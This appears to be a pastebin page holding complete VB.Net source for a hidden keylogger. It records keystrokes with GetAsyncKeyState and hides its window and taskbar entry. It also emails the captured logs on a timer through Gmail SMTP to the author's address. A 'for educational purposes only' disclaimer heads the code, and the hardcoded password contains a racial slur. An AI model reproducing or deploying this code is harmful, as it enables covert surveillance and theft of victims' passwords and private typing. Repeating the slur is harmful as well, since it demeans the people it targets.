SHOW:
|
|
- or go back to the newest paste.
1 | 'Email sending keylogger in VB.Net | |
2 | 'This program is created for educational purposes only. Any misconduct and potential legal actions | |
3 | 'is placed upon ones' self and I face no liability for your actions | |
4 | 'Created by Logan Poynter - 11/25/15 | |
5 | 'Byte of Tech Channel | |
6 | ||
7 | ||
8 | 'Making our program not show errors to the user | |
9 | Option Strict On | |
10 | 'Importing the Mail functions into our program | |
11 | Imports System.Net.Mail | |
12 | ||
13 | Public Class Form1 | |
14 | 'Allowing ourselves access to gather keystroke data | |
15 | Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short | |
16 | Private Sub tmrEmail_Tick(sender As Object, e As EventArgs) Handles tmrEmail.Tick | |
17 | Try | |
18 | 'Configuring our SMTP settings; these will change based upon your email provider | |
19 | 'Simply Google your email host for the SMTP settings | |
20 | Dim smtpserver As New SmtpClient | |
21 | smtpserver.EnableSsl = True | |
22 | smtpserver.Credentials = New Net.NetworkCredential("[email protected]", "oneniggerhackedme") | |
23 | smtpserver.Port = 587 | |
24 | smtpserver.Host = "smtp.gmail.com" | |
25 | 'Configuring our email message | |
26 | Dim mail As New MailMessage | |
27 | mail = New MailMessage | |
28 | mail.From = New MailAddress("[email protected]", "Key Logger") | |
29 | mail.To.Add("[email protected]") | |
30 | mail.Subject = ("New Key Log Data") | |
31 | mail.Body = txtLogs.Text | |
32 | smtpserver.Send(mail) | |
33 | ||
34 | Catch ex As Exception | |
35 | Me.Close() | |
36 | End Try | |
37 | End Sub | |
38 | ||
39 | 'Keylogger portion of the code | |
40 | Private Sub tmrKey_Tick(sender As Object, e As EventArgs) Handles tmrKey.Tick | |
41 | Dim result As Integer | |
42 | Dim key As String | |
43 | Dim i As Integer | |
44 | 'For statement to get our keystrokes | |
45 | For i = 2 To 90 | |
46 | result = 0 | |
47 | result = GetAsyncKeyState(i) | |
48 | ||
49 | If result = -32767 Then | |
50 | key = Chr(i) | |
51 | If i = 13 Then key = vbNewLine | |
52 | Exit For | |
53 | End If | |
54 | Next i | |
55 | 'Determining if the user is typing in upper or lower case font | |
56 | If key <> Nothing Then | |
57 | If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then | |
58 | txtLogs.Text &= key | |
59 | Else | |
60 | txtLogs.Text &= key.ToLower | |
61 | End If | |
62 | End If | |
63 | 'How the user can set the visibiity of the program to true | |
64 | If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso key = "V" Then | |
65 | Me.Visible = True | |
66 | End If | |
67 | End Sub | |
68 | ||
69 | 'Notification that the logger has been stopped | |
70 | Private Sub Form1_FormClosed(sender As Object, e As FormClosedEventArgs) Handles Me.FormClosed | |
71 | txtLogs.Text &= vbNewLine & "Keylogger has been stopped at: " & Now & vbNewLine | |
72 | End Sub | |
73 | ||
74 | ||
75 | 'Making our program invisible | |
76 | Private Sub Form1_Load(sender As Object, e As EventArgs) Handles Me.Load | |
77 | Me.ShowIcon = False | |
78 | Me.ShowInTaskbar = False | |
79 | Me.Visible = False | |
80 | txtLogs.Text &= vbNewLine & "Keylogger started at: " & Now & vbNewLine | |
81 | End Sub | |
82 | ||
83 | Private Sub txtLogs_TextChanged(sender As Object, e As EventArgs) Handles txtLogs.TextChanged | |
84 | ||
85 | End Sub | |
86 | End Class |